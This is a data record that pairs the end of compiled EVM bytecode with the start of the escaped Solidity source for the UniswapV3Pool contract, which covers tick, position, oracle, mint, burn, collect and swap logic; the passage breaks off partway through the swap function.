816020015160020b12156141775760045460408201516001600160801b03909116906140d3906140b7612c27565b60208501516060860151608087015160089493929187916139d1565b6000805461ffff60c81b1916600160c81b61ffff938416021761ffff60b81b1916600160b81b939092169290920217905581516040870151614123919061411990612d6d565b8860600151614c84565b93506141416141358760200151612d6d565b83516060890151614cc8565b92506141518187606001516135ef565b600480546001600160801b0319166001600160801b0392909216919091179055506141a1565b61419e6141878660200151612d6d565b6141948760400151612d6d565b8760600151614cc8565b91505b509193909250565b60006141b68484846132d9565b9050600082806141c257fe5b84860911156133825760001981106141d957600080fd5b6001019392505050565b6040805160609490941b6bffffffffffffffffffffffff1916602080860191909152600293840b60e890811b60348701529290930b90911b60378401528051808403601a018152603a90930181528251928201929092206000908152929052902090565b60608060008361ffff1611614287576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b865167ffffffffffffffff8111801561429f57600080fd5b506040519080825280602002602001820160405280156142c9578160200160208202803683370190505b509150865167ffffffffffffffff811180156142e457600080fd5b5060405190808252806020026020018201604052801561430e578160200160208202803683370190505b50905060005b87518110156143945761433f8a8a8a848151811061432e57fe5b60200260200101518a8a8a8a613389565b84838151811061434b57fe5b6020026020010184848151811061435e57fe5b60200260200101826001600160a01b03166001600160a01b03168152508260060b60060b81525050508080600101915050614314565b5097509795505050505050565b8060020b8260020b126143e1576040805162461bcd60e51b8152602060048201526003602482015262544c5560e81b604482015290519081900360640190fd5b620d89e719600283900b1215614424576040805162461bcd60e51b8152602060048201526003602482015262544c4d60e81b604482015290519081900360640190fd5b620d89e8600282900b1315614466576040805162461bcd60e51b815260206004820152600360248201526254554d60e81b604482015290519081900360640190fd5b5050565b6040805160808101825263ffffffff9283168082526000602083018190529282019290925260016060909101819052835463ffffffff1916909117909116600160f81b17909155908190565b60020b600881901d9161010090910790565b60008082116144d657600080fd5b600160801b82106144e957608091821c91015b68010000000000000000821061450157604091821c91015b640100000000821061451557602091821c91015b62010000821061452757601091821c91015b610100821061453857600891821c91015b6010821061454857600491821c91015b6004821061455857600291821c91015b60028210612beb57600101919050565b600080821161457657600080fd5b5060ff6001600160801b0382161561459157607f1901614599565b608082901c91505b67ffffffffffffffff8216156145b257603f19016145ba565b604082901c91505b63ffffffff8216156145cf57601f19016145d7565b602082901c91505b61ffff8216156145ea57600f19016145f2565b601082901c91505b60ff821615614604576007190161460c565b600882901c91505b600f82161561461e5760031901614626565b600482901c91505b60038216156146385760011901614640565b600282901c91505b6001821615612beb5760001901919050565b6000836001600160a01b0316856001600160a01b03161115614672579293925b8161469f5761469a836001600160801b03168686036001600160a01b0316600160601b6132d9565b6146c2565b6146c2836001600160801b03168686036001600160a01b0316600160601b6141a9565b90505b949350505050565b6000836001600160a01b0316856001600160a01b031611156146ed579293925b7bffffffffffffffffffffffffffffffff000000000000000000000000606084901b166001600160a01b03868603811690871661472957600080fd5b8361475957866001600160a01b031661474c8383896001600160a01b03166132d9565b8161475357fe5b0461477f565b61477f6147708383896001600160a01b03166141a9565b886001600160a01b0316614cf7565b979650505050505050565b600080856001600160a01b0316116147a157600080fd5b6000846001600160801b0316116147b757600080fd5b816147c95761469a8585856001614d02565b6146c28585856001614de3565b600080856001600160a01b0316116147ed57600080fd5b6000846001600160801b03161161480357600080fd5b816148155761469a8585856000614de3565b6146c28585856000614d02565b61482a61564a565b600085600001518503905060405180608001604052808663ffffffff1681526020018263ffffffff168660020b0288602001510160060b81526020016000856001600160801b03161161487e576001614880565b845b6001600160801b031673ffffffff00000000000000000000000000000000608085901b16816148ab57fe5b048860400151016001600160a01b0316815260200160011515815250915050949350505050565b6148da61564a565b6148e261564a565b888561ffff1661ffff81106148f357fe5b60408051608081018252919092015463ffffffff81168083526401000000008204600690810b810b900b6020840152600160581b82046001600160a01b031693830193909352600160f81b900460ff1615156060820152925061495890899089614ed8565b15614990578663ffffffff16826000015163ffffffff16141561497a57613510565b8161498783898988614822565b91509150613510565b888361ffff168660010161ffff16816149a557fe5b0661ffff1661ffff81106149b557fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b90910416151560608201819052909250614a6c57604080516080810182528a5463ffffffff811682526401000000008104600690810b810b900b6020830152600160581b81046001600160a01b031692820192909252600160f81b90910460ff161515606082015291505b614a7b88836000015189614ed8565b614ab2576040805162461bcd60e51b815260206004820152600360248201526213d31160ea1b604482015290519081900360640190fd5b614abf8989898887614f9b565b9150915097509795505050505050565b6000614ade60078787876141e3565b60015460025491925090600080600f87900b15614c24576000614aff612c27565b6000805460045492935090918291614b499160089186918591600160a01b810460020b9161ffff600160b81b83048116926001600160801b0390921691600160c81b900416613389565b9092509050614b8360058d8b8d8b8b87898b60007f00000000000000000000000000000000000762d10ef955d55b7d038c7a7231cc61513b565b9450614bba60058c8b8d8b8b87898b60017f00000000000000000000000000000000000762d10ef955d55b7d038c7a7231cc61513b565b93508415614bee57614bee60068d7f00000000000000000000000000000000000000000000000000000000000000c8615325565b8315614c2057614c2060068c7f00000000000000000000000000000000000000000000000000000000000000c8615325565b5050505b600080614c3660058c8c8b8a8a61538b565b9092509050614c47878a8484615437565b600089600f0b1215614c75578315614c6457614c6460058c6155cc565b8215614c7557614c7560058b6155cc565b50505050505095945050505050565b60008082600f0b12614caa57614ca5614ca085858560016146cd565b613291565b6146c5565b614cbd614ca085858560000360006146cd565b600003949350505050565b60008082600f0b12614ce457614ca5614ca08585856001614652565b614cbd614ca08585856000036000614652565b808204910615150190565b60008115614d755760006001600160a01b03841115614d3857614d3384600160601b876001600160801b03166132d9565b614d50565b6001600160801b038516606085901b81614d4e57fe5b045b9050614d6d614d686001600160a01b03881683613e0d565b6155f8565b9150506146c5565b60006001600160a01b03841115614da357614d9e84600160601b876001600160801b03166141a9565b614dba565b614dba606085901b6001600160801b038716614cf7565b905080866001600160a01b031611614dd157600080fd5b6001600160a01b0386160390506146c5565b600082614df15750836146c5565b7bffffffffffffffffffffffffffffffff000000000000000000000000606085901b168215614e91576001600160a01b03861684810290858281614e3157fe5b041415614e6257818101828110614e6057614e5683896001600160a01b0316836141a9565b93505050506146c5565b505b614e8882614e83878a6001600160a01b03168681614e7c57fe5b0490613e0d565b614cf7565b925050506146c5565b6001600160a01b03861684810290858281614ea857fe5b04148015614eb557508082115b614ebe57600080fd5b808203614e56614d68846001600160a01b038b16846141a9565b60008363ffffffff168363ffffffff1611158015614f0257508363ffffffff168263ffffffff1611155b15614f1e578163ffffffff168363ffffffff1611159050613382565b60008463ffffffff168463ffffffff1611614f46578363ffffffff1664010000000001614f4e565b8363ffffffff165b64ffffffffff16905060008563ffffffff168463ffffffff1611614f7f578363ffffffff1664010000000001614f87565b8363ffffffff165b64ffffffffff169091111595945050505050565b614fa361564a565b614fab61564a565b60008361ffff168560010161ffff1681614fc157fe5b0661ffff169050600060018561ffff16830103905060005b506002818301048961ffff87168281614fee57fe5b0661ffff8110614ffa57fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b9091041615156060820181905290955061506557806001019250614fd9565b898661ffff16826001018161507657fe5b0661ffff811061508257fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b909104161515606082015285519094506000906150ed908b908b614ed8565b905080801561510657506151068a8a8760000151614ed8565b15615111575061512e565b8061512157600182039250615128565b8160010193505b50614fd9565b5050509550959350505050565b60028a810b900b600090815260208c90526040812080546001600160801b031682615166828d6135ef565b9050846001600160801b0316816001600160801b031611156151b4576040805162461bcd60e51b81526020600482015260026024820152614c4f60f01b604482015290519081900360640190fd5b6001600160801b03828116159082161581141594501561528a578c60020b8e60020b1361525a57600183018b9055600283018a90556003830180547fffffffffff0000000000000000000000000000000000000000ffffffffffffff166701000000000000006001600160a01b038c16021766ffffffffffffff191666ffffffffffffff60068b900b161763ffffffff60d81b1916600160d81b63ffffffff8a16021790555b6003830180547effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16600160f81b1790555b82546001600160801b0319166001600160801b038216178355856152d35782546152ce906152c990600160801b9004600f90810b810b908f900b6132c3565b613f58565b6152f4565b82546152f4906152c990600160801b9004600f90810b810b908f900b6132a7565b8354600f9190910b6001600160801b03908116600160801b0291161790925550909c9b505050505050505050505050565b8060020b8260020b8161533457fe5b0760020b1561534257600080fd5b60008061535d8360020b8560020b8161535757fe5b056144b6565b600191820b820b60009081526020979097526040909620805460ff9097169190911b90951890945550505050565b600285810b80820b60009081526020899052604080822088850b850b83529082209193849391929184918291908a900b126153d1575050600182015460028301546153e4565b8360010154880391508360020154870390505b6000808b60020b8b60020b121561540657505060018301546002840154615419565b84600101548a0391508460020154890390505b92909803979097039b96909503949094039850939650505050505050565b6040805160a08101825285546001600160801b0390811682526001870154602083015260028701549282019290925260038601548083166060830152600160801b900490911660808201526000600f85900b6154d65781516001600160801b03166154ce576040805162461bcd60e51b815260206004820152600260248201526104e560f41b604482015290519081900360640190fd5b5080516154e5565b81516154e290866135ef565b90505b60006155098360200151860384600001516001600160801b0316600160801b6132d9565b9050600061552f8460400151860385600001516001600160801b0316600160801b6132d9565b905086600f0b6000146155565787546001600160801b0319166001600160801b0384161788555b60018801869055600288018590556001600160801b03821615158061558457506000816001600160801b0316115b156155c2576003880180546001600160801b031981166001600160801b039182168501821617808216600160801b9182900483168501909216021790555b5050505050505050565b600290810b810b6000908152602092909252604082208281556001810183905590810182905560030155565b806001600160a01b0381168114612beb57600080fd5b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081019190915290565b6040805160808101825260008082526020820181905291810182905260608101919091529056fea164736f6c6343000706000a	{{ "language": "Solidity", "sources": { "contracts/UniswapV3Pool.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\nimport './interfaces/IUniswapV3Pool.sol';\n\nimport './NoDelegateCall.sol';\n\nimport './libraries/LowGasSafeMath.sol';\nimport './libraries/SafeCast.sol';\nimport './libraries/Tick.sol';\nimport './libraries/TickBitmap.sol';\nimport './libraries/Position.sol';\nimport './libraries/Oracle.sol';\n\nimport './libraries/FullMath.sol';\nimport './libraries/FixedPoint128.sol';\nimport './libraries/TransferHelper.sol';\nimport './libraries/TickMath.sol';\nimport './libraries/LiquidityMath.sol';\nimport './libraries/SqrtPriceMath.sol';\nimport './libraries/SwapMath.sol';\n\nimport './interfaces/IUniswapV3PoolDeployer.sol';\nimport './interfaces/IUniswapV3Factory.sol';\nimport './interfaces/IERC20Minimal.sol';\nimport './interfaces/callback/IUniswapV3MintCallback.sol';\nimport './interfaces/callback/IUniswapV3SwapCallback.sol';\nimport './interfaces/callback/IUniswapV3FlashCallback.sol';\n\ncontract UniswapV3Pool is IUniswapV3Pool, NoDelegateCall {\n using LowGasSafeMath for uint256;\n using LowGasSafeMath for int256;\n using SafeCast for uint256;\n using SafeCast for int256;\n using Tick for mapping(int24 => Tick.Info);\n using TickBitmap for mapping(int16 => uint256);\n using Position for mapping(bytes32 => Position.Info);\n using Position for Position.Info;\n using Oracle for Oracle.Observation[65535];\n\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override factory;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override token0;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override token1;\n /// @inheritdoc IUniswapV3PoolImmutables\n uint24 public immutable override fee;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n int24 public immutable override tickSpacing;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n uint128 public immutable override maxLiquidityPerTick;\n\n struct Slot0 {\n // the current price\n uint160 sqrtPriceX96;\n // the current tick\n int24 tick;\n // the most-recently updated index of the observations array\n uint16 observationIndex;\n // the current maximum number of observations that are being stored\n uint16 observationCardinality;\n // the next maximum number of observations to store, triggered in observations.write\n uint16 observationCardinalityNext;\n // the current protocol fee as a percentage of the swap fee taken on withdrawal\n // represented as an integer denominator (1/x)%\n uint8 feeProtocol;\n // whether the pool is locked\n bool unlocked;\n }\n /// @inheritdoc IUniswapV3PoolState\n Slot0 public override slot0;\n\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal0X128;\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal1X128;\n\n // accumulated protocol fees in token0/token1 units\n struct ProtocolFees {\n uint128 token0;\n uint128 token1;\n }\n /// @inheritdoc IUniswapV3PoolState\n ProtocolFees public override protocolFees;\n\n /// @inheritdoc IUniswapV3PoolState\n uint128 public override liquidity;\n\n /// @inheritdoc IUniswapV3PoolState\n mapping(int24 => Tick.Info) public override ticks;\n /// @inheritdoc IUniswapV3PoolState\n mapping(int16 => uint256) public override tickBitmap;\n /// @inheritdoc IUniswapV3PoolState\n mapping(bytes32 => Position.Info) public override positions;\n /// @inheritdoc IUniswapV3PoolState\n Oracle.Observation[65535] public override observations;\n\n /// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance\n /// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because\n /// we use balance checks to determine the payment status of interactions such as mint, swap and flash.\n modifier lock() {\n require(slot0.unlocked, 'LOK');\n slot0.unlocked = false;\n _;\n slot0.unlocked = true;\n }\n\n /// @dev Prevents calling a function from anyone except the address returned by IUniswapV3Factory#owner()\n modifier onlyFactoryOwner() {\n require(msg.sender == IUniswapV3Factory(factory).owner());\n _;\n }\n\n constructor() {\n int24 _tickSpacing;\n (factory, token0, token1, fee, _tickSpacing) = IUniswapV3PoolDeployer(msg.sender).parameters();\n tickSpacing = _tickSpacing;\n\n maxLiquidityPerTick = Tick.tickSpacingToMaxLiquidityPerTick(_tickSpacing);\n }\n\n /// @dev Common checks for valid tick inputs.\n function checkTicks(int24 tickLower, int24 tickUpper) private pure {\n require(tickLower < tickUpper, 'TLU');\n require(tickLower >= TickMath.MIN_TICK, 'TLM');\n require(tickUpper <= TickMath.MAX_TICK, 'TUM');\n }\n\n /// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2*32. This method is overridden in tests.\n function _blockTimestamp() internal view virtual returns (uint32) {\n return uint32(block.timestamp); // truncation is desired\n }\n\n /// @dev Get the pool's balance of token0\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance0() private view returns (uint256) {\n (bool success, bytes memory data) =\n token0.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @dev Get the pool's balance of token1\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance1() private view returns (uint256) {\n (bool success, bytes memory data) =\n token1.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n override\n noDelegateCall\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n )\n {\n checkTicks(tickLower, tickUpper);\n\n int56 tickCumulativeLower;\n int56 tickCumulativeUpper;\n uint160 secondsPerLiquidityOutsideLowerX128;\n uint160 secondsPerLiquidityOutsideUpperX128;\n uint32 secondsOutsideLower;\n uint32 secondsOutsideUpper;\n\n {\n Tick.Info storage lower = ticks[tickLower];\n Tick.Info storage upper = ticks[tickUpper];\n bool initializedLower;\n (tickCumulativeLower, secondsPerLiquidityOutsideLowerX128, secondsOutsideLower, initializedLower) = (\n lower.tickCumulativeOutside,\n lower.secondsPerLiquidityOutsideX128,\n lower.secondsOutside,\n lower.initialized\n );\n require(initializedLower);\n\n bool initializedUpper;\n (tickCumulativeUpper, secondsPerLiquidityOutsideUpperX128, secondsOutsideUpper, initializedUpper) = (\n upper.tickCumulativeOutside,\n upper.secondsPerLiquidityOutsideX128,\n upper.secondsOutside,\n upper.initialized\n );\n require(initializedUpper);\n }\n\n Slot0 memory _slot0 = slot0;\n\n if (_slot0.tick < tickLower) {\n return (\n tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityOutsideLowerX128 - secondsPerLiquidityOutsideUpperX128,\n secondsOutsideLower - secondsOutsideUpper\n );\n } else if (_slot0.tick < tickUpper) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n _slot0.tick,\n _slot0.observationIndex,\n liquidity,\n _slot0.observationCardinality\n );\n return (\n tickCumulative - tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityCumulativeX128 -\n secondsPerLiquidityOutsideLowerX128 -\n secondsPerLiquidityOutsideUpperX128,\n time - secondsOutsideLower - secondsOutsideUpper\n );\n } else {\n return (\n tickCumulativeUpper - tickCumulativeLower,\n secondsPerLiquidityOutsideUpperX128 - secondsPerLiquidityOutsideLowerX128,\n secondsOutsideUpper - secondsOutsideLower\n );\n }\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function observe(uint32[] calldata secondsAgos)\n external\n view\n override\n noDelegateCall\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)\n {\n return\n observations.observe(\n _blockTimestamp(),\n secondsAgos,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext)\n external\n override\n lock\n noDelegateCall\n {\n uint16 observationCardinalityNextOld = slot0.observationCardinalityNext; // for the event\n uint16 observationCardinalityNextNew =\n observations.grow(observationCardinalityNextOld, observationCardinalityNext);\n slot0.observationCardinalityNext = observationCardinalityNextNew;\n if (observationCardinalityNextOld != observationCardinalityNextNew)\n emit IncreaseObservationCardinalityNext(observationCardinalityNextOld, observationCardinalityNextNew);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev not locked because it initializes unlocked\n function initialize(uint160 sqrtPriceX96) external override {\n require(slot0.sqrtPriceX96 == 0, 'AI');\n\n int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96);\n\n (uint16 cardinality, uint16 cardinalityNext) = observations.initialize(_blockTimestamp());\n\n slot0 = Slot0({\n sqrtPriceX96: sqrtPriceX96,\n tick: tick,\n observationIndex: 0,\n observationCardinality: cardinality,\n observationCardinalityNext: cardinalityNext,\n feeProtocol: 0,\n unlocked: true\n });\n\n emit Initialize(sqrtPriceX96, tick);\n }\n\n struct ModifyPositionParams {\n // the address that owns the position\n address owner;\n // the lower and upper tick of the position\n int24 tickLower;\n int24 tickUpper;\n // any change in liquidity\n int128 liquidityDelta;\n }\n\n /// @dev Effect some changes to a position\n /// @param params the position details and the change to the position's liquidity to effect\n /// @return position a storage pointer referencing the position with the given owner and tick range\n /// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient\n /// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient\n function _modifyPosition(ModifyPositionParams memory params)\n private\n noDelegateCall\n returns (\n Position.Info storage position,\n int256 amount0,\n int256 amount1\n )\n {\n checkTicks(params.tickLower, params.tickUpper);\n\n Slot0 memory _slot0 = slot0; // SLOAD for gas optimization\n\n position = _updatePosition(\n params.owner,\n params.tickLower,\n params.tickUpper,\n params.liquidityDelta,\n _slot0.tick\n );\n\n if (params.liquidityDelta != 0) {\n if (_slot0.tick < params.tickLower) {\n // current tick is below the passed range; liquidity can only become in range by crossing from left to\n // right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it\n amount0 = SqrtPriceMath.getAmount0Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n } else if (_slot0.tick < params.tickUpper) {\n // current tick is inside the passed range\n uint128 liquidityBefore = liquidity; // SLOAD for gas optimization\n\n // write an oracle entry\n (slot0.observationIndex, slot0.observationCardinality) = observations.write(\n _slot0.observationIndex,\n _blockTimestamp(),\n _slot0.tick,\n liquidityBefore,\n _slot0.observationCardinality,\n _slot0.observationCardinalityNext\n );\n\n amount0 = SqrtPriceMath.getAmount0Delta(\n _slot0.sqrtPriceX96,\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n _slot0.sqrtPriceX96,\n params.liquidityDelta\n );\n\n liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);\n } else {\n // current tick is above the passed range; liquidity can only become in range by crossing from right to\n // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n }\n }\n }\n\n /// @dev Gets and updates a position with the given liquidity delta\n /// @param owner the owner of the position\n /// @param tickLower the lower tick of the position's tick range\n /// @param tickUpper the upper tick of the position's tick range\n /// @param tick the current tick, passed to avoid sloads\n function _updatePosition(\n address owner,\n int24 tickLower,\n int24 tickUpper,\n int128 liquidityDelta,\n int24 tick\n ) private returns (Position.Info storage position) {\n position = positions.get(owner, tickLower, tickUpper);\n\n uint256 _feeGrowthGlobal0X128 = feeGrowthGlobal0X128; // SLOAD for gas optimization\n uint256 _feeGrowthGlobal1X128 = feeGrowthGlobal1X128; // SLOAD for gas optimization\n\n // if we need to update the ticks, do it\n bool flippedLower;\n bool flippedUpper;\n if (liquidityDelta != 0) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n\n flippedLower = ticks.update(\n tickLower,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n false,\n maxLiquidityPerTick\n );\n flippedUpper = ticks.update(\n tickUpper,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n true,\n maxLiquidityPerTick\n );\n\n if (flippedLower) {\n tickBitmap.flipTick(tickLower, tickSpacing);\n }\n if (flippedUpper) {\n tickBitmap.flipTick(tickUpper, tickSpacing);\n }\n }\n\n (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) =\n ticks.getFeeGrowthInside(tickLower, tickUpper, tick, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128);\n\n position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128);\n\n // clear any tick data that is no longer needed\n if (liquidityDelta < 0) {\n if (flippedLower) {\n ticks.clear(tickLower);\n }\n if (flippedUpper) {\n ticks.clear(tickUpper);\n }\n }\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n require(amount > 0);\n (, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: recipient,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(amount0Int);\n amount1 = uint256(amount1Int);\n\n uint256 balance0Before;\n uint256 balance1Before;\n if (amount0 > 0) balance0Before = balance0();\n if (amount1 > 0) balance1Before = balance1();\n IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);\n if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');\n if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');\n\n emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock returns (uint128 amount0, uint128 amount1) {\n // we don't need to checkTicks here, because invalid positions will never have non-zero tokensOwed{0,1}\n Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper);\n\n amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested;\n amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested;\n\n if (amount0 > 0) {\n position.tokensOwed0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n position.tokensOwed1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit Collect(msg.sender, recipient, tickLower, tickUpper, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n (Position.Info storage position, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: msg.sender,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: -int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(-amount0Int);\n amount1 = uint256(-amount1Int);\n\n if (amount0 > 0 \|\| amount1 > 0) {\n (position.tokensOwed0, position.tokensOwed1) = (\n position.tokensOwed0 + uint128(amount0),\n position.tokensOwed1 + uint128(amount1)\n );\n }\n\n emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n struct SwapCache {\n // the protocol fee for the input token\n uint8 feeProtocol;\n // liquidity at the beginning of the swap\n uint128 liquidityStart;\n // the timestamp of the current block\n uint32 blockTimestamp;\n // the current value of the tick accumulator, computed only if we cross an initialized tick\n int56 tickCumulative;\n // the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick\n uint160 secondsPerLiquidityCumulativeX128;\n // whether we've computed and cached the above two accumulators\n bool computedLatestObservation;\n }\n\n // the top level state of the swap, the results of which are recorded in storage at the end\n struct SwapState {\n // the amount remaining to be swapped in/out of the input/output asset\n int256 amountSpecifiedRemaining;\n // the amount already swapped out/in of the output/input asset\n int256 amountCalculated;\n // current sqrt(price)\n uint160 sqrtPriceX96;\n // the tick associated with the current price\n int24 tick;\n // the global fee growth of the input token\n uint256 feeGrowthGlobalX128;\n // amount of input token paid as protocol fee\n uint128 protocolFee;\n // the current liquidity in range\n uint128 liquidity;\n }\n\n struct StepComputations {\n // the price at the beginning of the step\n uint160 sqrtPriceStartX96;\n // the next tick to swap to from the current tick in the swap direction\n int24 tickNext;\n // whether tickNext is initialized or not\n bool initialized;\n // sqrt(price) for the next tick (1/0)\n uint160 sqrtPriceNextX96;\n // how much is being swapped in in this step\n uint256 amountIn;\n // how much is being swapped out\n uint256 amountOut;\n // how much fee is being paid in\n uint256 feeAmount;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external override noDelegateCall returns (int256 amount0, int256 amount1) {\n require(amountSpecified != 0, 'AS');\n\n Slot0 memory slot0Start = slot0;\n\n require(slot0Start.unlocked, 'LOK');\n require(\n zeroForOne\n ? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO\n : sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,\n 'SPL'\n );\n\n slot0.unlocked = false;\n\n SwapCache memory cache =\n SwapCache({\n liquidityStart: liquidity,\n blockTimestamp: _blockTimestamp(),\n feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),\n secondsPerLiquidityCumulativeX128: 0,\n tickCumulative: 0,\n computedLatestObservation: false\n });\n\n bool exactInput = amountSpecified > 0;\n\n SwapState memory state =\n SwapState({\n amountSpecifiedRemaining: amountSpecified,\n amountCalculated: 0,\n sqrtPriceX96: slot0Start.sqrtPriceX96,\n tick: slot0Start.tick,\n feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,\n protocolFee: 0,\n liquidity: cache.liquidityStart\n });\n\n // continue swapping as long as we haven't used the entire input/output and haven't reached the price limit\n while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {\n StepComputations memory step;\n\n step.sqrtPriceStartX96 = state.sqrtPriceX96;\n\n (step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(\n state.tick,\n tickSpacing,\n zeroForOne\n );\n\n // ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds\n if (step.tickNext < TickMath.MIN_TICK) {\n step.tickNext = TickMath.MIN_TICK;\n } else if (step.tickNext > TickMath.MAX_TICK) {\n step.tickNext = TickMath.MAX_TICK;\n }\n\n // get the price for the next tick\n step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);\n\n // compute values to swap to the target tick, price limit, or point where input/output amount is exhausted\n (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(\n state.sqrtPriceX96,\n (zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)\n ? sqrtPriceLimitX96\n : step.sqrtPriceNextX96,\n 